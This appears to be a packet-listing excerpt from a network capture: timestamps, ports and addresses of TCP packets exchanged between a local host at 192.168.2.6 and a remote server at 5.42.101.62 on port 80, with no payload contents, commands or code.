Sep 30, 2024 13:59:29.253194094 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253232956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253248930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253264904 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253273010 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253274918 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253285885 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253297091 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253304958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253308058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253334045 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253349066 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253710032 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253753901 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253757954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253768921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253798962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253819942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253833055 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253848076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253858089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253859997 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253868103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253884077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253887892 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253895044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253906012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.253914118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253923893 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.253945112 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254034042 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254045010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254065037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254075050 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254076958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254085064 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254090071 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254095078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254106045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254107952 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254117012 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254138947 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254139900 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254149914 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254158020 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254162073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254184008 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254211903 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254220009 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254231930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254240990 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254256010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254261017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254288912 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254288912 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254300117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254327059 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254333019 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254345894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254352093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254364014 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254384041 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254409075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254419088 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254436016 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254446030 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254450083 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254456997 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254470110 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254472971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254483938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254503965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254518986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254528046 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254528999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254539013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254556894 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254561901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254565001 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254578114 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254580021 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254604101 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254607916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254620075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254626989 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254630089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254641056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254647017 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254656076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254674911 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254677057 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254686117 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254695892 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254708052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254715919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254745007 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254759073 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254770041 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254780054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254792929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254802942 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254816055 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254837036 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254844904 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254852057 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254863024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254879951 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254882097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254894018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.254903078 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.254931927 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255250931 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255291939 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255301952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255312920 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255342960 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255448103 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255460024 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255470037 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255481005 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255486965 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255500078 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255507946 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255511045 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255522013 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255531073 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255532026 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255542994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255553007 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255557060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255563974 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255583048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255604982 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255628109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255666971 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255672932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255683899 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255717039 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255752087 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255763054 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255773067 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255784035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255794048 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255794048 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255806923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255815983 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255839109 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255841970 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255850077 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255867004 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255880117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255881071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255892038 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255902052 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.255908966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.255934000 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256705999 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256719112 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256730080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256750107 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256778002 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256784916 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256794930 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256805897 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256817102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256833076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256840944 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256876945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256903887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256917000 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256927967 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256937981 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256942034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256949902 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256961107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256963015 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.256969929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.256988049 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.257036924 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.343930960 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.343988895 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344002962 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344005108 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344013929 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344027042 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344028950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344044924 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344054937 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344057083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344067097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344079018 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344086885 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344111919 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344160080 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344168901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344178915 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344189882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344197035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344199896 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344209909 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344219923 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344227076 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344257116 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344633102 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344643116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344650984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344662905 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344675064 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344676971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344690084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344695091 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344711065 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344724894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344733953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344741106 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344765902 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344794035 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344805002 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344835043 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344862938 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344872952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344882011 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344893932 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344902992 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344908953 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344918966 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344918966 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.344943047 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.344969034 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345011950 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345021963 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345031977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345042944 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345052004 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345062971 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345072985 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345078945 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345083952 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345092058 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345094919 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345118999 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345144987 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345149994 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345163107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345179081 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345186949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345199108 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345205069 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345208883 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345220089 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345221996 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345240116 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345241070 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345251083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345252991 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345276117 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345299959 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345330954 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345341921 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345352888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345364094 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345371962 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345374107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345385075 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345397949 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345410109 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345443010 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345453978 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345463991 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345487118 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345506907 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345527887 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345537901 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345549107 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345558882 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345567942 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345571995 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345604897 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345611095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345622063 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345632076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345649958 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345663071 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345664024 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345673084 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345683098 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345700026 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345705986 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345725060 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345750093 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345786095 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345797062 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345807076 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345818996 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345827103 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345828056 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345839977 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345851898 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.345858097 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345865011 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.345895052 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346225023 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346234083 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346244097 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346266031 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346278906 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346293926 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346306086 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346316099 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346334934 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346334934 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346343994 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346374035 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346421003 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346431017 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346441984 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346451044 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346461058 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346465111 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346491098 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346503019 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346506119 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346515894 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346525908 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346546888 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346548080 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346560955 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346569061 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346576929 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346586943 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346596956 CEST	80	49721	5.42.101.62	192.168.2.6
Sep 30, 2024 13:59:29.346602917 CEST	49721	80	192.168.2.6	5.42.101.62
Sep 30, 2024 13:59:29.346627951 CEST	80	49721	5.42.101.62	192.168.2.6
